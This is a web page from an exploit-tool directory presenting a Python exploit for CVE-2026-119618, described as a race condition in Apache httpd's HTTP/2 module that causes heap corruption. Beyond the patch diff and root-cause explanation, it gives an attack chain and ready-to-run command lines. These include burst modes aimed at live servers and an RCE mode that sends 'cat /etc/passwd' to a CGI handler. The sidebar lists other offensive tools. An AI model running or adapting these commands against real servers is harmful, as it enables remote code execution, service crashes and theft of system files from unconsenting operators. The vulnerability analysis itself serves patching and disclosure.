Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-119618 — Python HTTP/2 exploit for CVE-2026-119618, a mod_http2 request-header race causing heap corruption and RCE in Apache httpd 2.4.55–2.4.70, with Docker test rig. | Kitploit
Tools/GitHubGitHub/studiogangster/cve-2026-119618
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityFuzzingNetwork SecurityRemote Access Trojan
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Python HTTP/2 exploit for CVE-2026-119618, a mod_http2 request-header race causing heap corruption and RCE in Apache httpd 2.4.55–2.4.70, with Docker test rig.

View Repository
24 days agoNot yet reviewed
Share

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

Concurrent Execution Using a Shared Resource with Improper Synchronization (CWE-362) in the HTTP/2 request-header table → heap corruption → RCE.

CVSS9.8 (Critical)
Vulnerablehttpd 2.4.55 – 2.4.70, standalone mod_h2 2.0.8 – 2.0.42
Fixed inhttpd 2.4.71 (released 2026-11-11)
Upstream patch824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
FindersAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. The upstream patch (what changed)

One line in modules/http2/h2_request.c, inside assign_headers():

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

Full saved diff: references/824beab_mod_http2_assign_headers.patch.

The vulnerable branch only runs when all of these hold for a single request:

  • method is not CONNECT;
  • the request has no Content-Length header;
  • the request has a Content-Type header;
  • no_body is true — the client already sent END_STREAM with no DATA frame (no_body == conn_ctx->beam_in == NULL, i.e. the request body was never buffered because the stream carried END_STREAM at header time).

2. Root cause (derived)

req->headers is the h2_request header table. That table is a shared resource with two owners:

  1. c1 (session / multiplexer) thread — fills it while parsing the client's HEADERS frames: h2_stream_add_header() → h2_request_add_header() → h2_request_add_header writes into req->headers.
  2. c2 (worker) thread — consumes it: h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).

In the vulnerable code the last write of the request lifecycle — apr_table_setn(req->headers, "Content-Length", "0") — happened on a c2 worker thread, on a table the c1 thread may still be writing to (the session keeps dispatching/flushing frames for that stream after the c2 worker has started c2_process). Two threads mutating the same apr_table_t (hash-table rehash / element realloc) with no lock → heap corruption.

r->headers_in, by contrast, is created at the top of assign_headers() as apr_table_clone(r->pool, req->headers) — a fresh per-request copy in the c2 worker's pool, never touched by c1. The fix simply moves the write there, removing the shared-resource write and the race.

3. Attack chain

  1. Attacker opens an HTTP/2 connection (h2 over TLS, or h2c cleartext) to the vulnerable Apache (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42).
  2. They send a request that satisfies the trigger conditions above: Content-Type present, no Content-Length, END_STREAM flag set on the HEADERS frame (no body follows).
  3. The c2 worker that processes that request runs the vulnerable apr_table_setn(req->headers, …) while the c1 thread is concurrently touching the same req->headers.
  4. Unsynced concurrent apr_table mutation → heap corruption → RCE (or DoS if the corruption is benign / ASLR is hostile).
  5. To reliably force the overlap, the exploit fires many concurrent h2 streams on the same connection: a few trigger streams (the crafted request) plus a flood of plain requests occupying the other c2 workers, so the c1 side is busy while the c2 worker runs the vulnerable write.

Observable on a live server: a stream gets RST_STREAM, the connection gets a GOAWAY, or the connection drops mid-burst (a crash). A patched 2.4.71 server answers the same single request normally — which is why the --verify mode is a smoke test and the burst mode is what forces the race.

4. The exploit

cve_2026_119618_exploit.py — pure-Python, drives the HTTP/2 state machine with the h2 package (no C deps). For each round it opens one connection, negotiates h2 (ALPN) or h2c, and fires a tight burst of triggers + flood streams in a single sendall() so all HEADERS frames (each with END_STREAM) hit the server back-to-back; it then watches for RST / GOAWAY / EOF.

Works on any h2-enabled vulnerable Apache — no custom CGI, no special server config required. The RST/EOF is the corruption signature; the --cmd flag is optional (for RCE-proof on a test rig with an RCE-endpoint).

The exploit decodes the response HEADERS with a raw hpack decoder (kept separate from the h2 lib's internal decoder, which buffers frames until the stream is closed by END_STREAM — a frame Apache's mod_h2 often doesn't send on the RCE-proof CGI response). This is how the X-Cmd-Out RCE proof is captured reliably, even when the h2 lib's state machine never emits ResponseReceived.

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v

# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
    --trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
    --triggers 5 --flood 16 --conns 4 --rounds 30 -v

Three proof modes, by what the target has:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →